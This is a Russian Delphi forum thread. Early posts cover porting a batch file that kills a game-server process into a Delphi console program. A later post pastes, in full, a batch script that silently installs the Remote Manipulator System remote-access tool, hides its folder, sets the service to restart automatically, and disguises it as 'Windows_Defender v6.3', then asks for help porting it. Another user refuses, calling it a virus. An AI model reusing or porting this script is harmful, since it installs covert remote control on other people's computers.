Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 16.08.2010, 16:05   #1
Shouldercannon
Участник клуба Подтвердите свой е-майл
 
Аватар для Shouldercannon
 
Регистрация: 26.01.2008
Сообщений: 1,893
По умолчанию Код из *.bat в Delphi

Есть stop.bat со следующим содержимым:

Код:
@echo off
cls
echo (%date% %time%) Stoping start.bat
TASKKILL /F /IM start.bat
echo (%date% %time%) Stoping srcdsfpsboost.exe (FPS Max to 600FPS)
echo (%date% %time%) Stoping CS:Source Dedicated Server (SRCDS)
TASKKILL /F /IM srcds.exe
echo (%date% %time%) Stoping cmd
TASKKILL /F /IM cmd.exe
можно ли на Delphi написать программу с таким же функционалом?
Shouldercannon вне форума Ответить с цитированием
Старый 16.08.2010, 16:11   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Код:
program Project1;

{$APPTYPE CONSOLE}

uses
  SysUtils;
  procedure system(s:pchar); cdecl external  'msvcrt.dll';
begin
 system('@echo off');
 system('cls');
 system(' echo (%date% %time%) Stoping start.bat');
 system('TASKKILL /F /IM start.bat');
 system('echo (%date% %time%) Stoping srcdsfpsboost.exe (FPS Max to 600FPS)');
 system('echo (%date% %time%) Stoping CS:Source Dedicated Server (SRCDS)');
 system('TASKKILL /F /IM srcds.exe');
 system('echo (%date% %time%) Stoping cmd');
 system('TASKKILL /F /IM cmd.exe');

  { TODO -oUser -cConsole Main : Insert code here }
end.
Подойдет?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 16.08.2010, 16:34   #3
Shouldercannon
Участник клуба Подтвердите свой е-майл
 
Аватар для Shouldercannon
 
Регистрация: 26.01.2008
Сообщений: 1,893
По умолчанию

Как-то странно работает, но выполняет функционал *.bat. После запуска идёт загон с консольными окнми, а потом утихает. Вообще данный батник работает так: его запускаешь и появляется консольное окно и показывается оно до тех пор пока не будет закрыто приложение им нужное приложение.

Последний раз редактировалось Shouldercannon; 16.08.2010 в 16:37.
Shouldercannon вне форума Ответить с цитированием
Старый 16.08.2010, 16:42   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Цитата:
Shouldercannon
Если тебе нужно запустить программу и подождать ее отработки то
http://www.delphiworld.narod.ru/base...terminate.html
Это один из примеров.
А на исполнение консольных команд в программе я бы не полагался как на надежных.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 16.08.2010, 21:19   #5
FaTaL
Участник клуба
 
Аватар для FaTaL
 
Регистрация: 09.11.2007
Сообщений: 1,759
По умолчанию

А чем Вас Ваш БАТ файл то не устраивает?
FaTaL вне форума Ответить с цитированием
Старый 17.08.2010, 11:34   #6
Shouldercannon
Участник клуба Подтвердите свой е-майл
 
Аватар для Shouldercannon
 
Регистрация: 26.01.2008
Сообщений: 1,893
По умолчанию

Не хочу задействовать сторонние файлы.
Shouldercannon вне форума Ответить с цитированием
Старый 13.01.2017, 17:21   #7
magistic
Пользователь
 
Регистрация: 06.12.2010
Сообщений: 15
По умолчанию код бат в делфи

[QUOTE=Stilet;594272] Можете подсказать как так же сделать по вот такому коду?
Код:
@echo off
set patch=C:\Program Files (x86)\System
attrib +s +h "%patch%"
taskkill /im rutserv.exe /f
taskkill /im rfusclient.exe /f
reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
timeout 2
"%patch%\rutserv.exe" /silentinstall
"%patch%\rutserv.exe" /firewall
regedit /s "%patch%\regedit.reg"
sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
sc config RManService obj= LocalSystem type= interact type= own
sc config RManService DisplayName= "Windows_Defender v6.3"
"%patch%\rutserv.exe" /start
@exit
_____
Код программы нужно выделять (форматировать) тегами [CODE] (читать FAQ)
Модератор

Последний раз редактировалось Serge_Bliznykov; 13.01.2017 в 18:04.
magistic вне форума Ответить с цитированием
Старый 13.01.2017, 18:02   #8
p51x
Старожил
 
Регистрация: 15.02.2010
Сообщений: 15,695
По умолчанию

вирусы не обсуждаем
p51x вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Переписать код bp C++, на Delphi Айдар Общие вопросы Delphi 0 12.06.2010 20:40
Delphi и машинный код. Создание файлов в Delphi 7. organic Помощь студентам 6 21.04.2010 13:16
Delphi + *.bat с кириллицой ToLeG Общие вопросы Delphi 7 08.04.2010 19:04
Delphi Код грея DeadVirus Помощь студентам 2 24.06.2009 18:15
Код в bat файл ryton SQL, базы данных 1 30.06.2008 09:33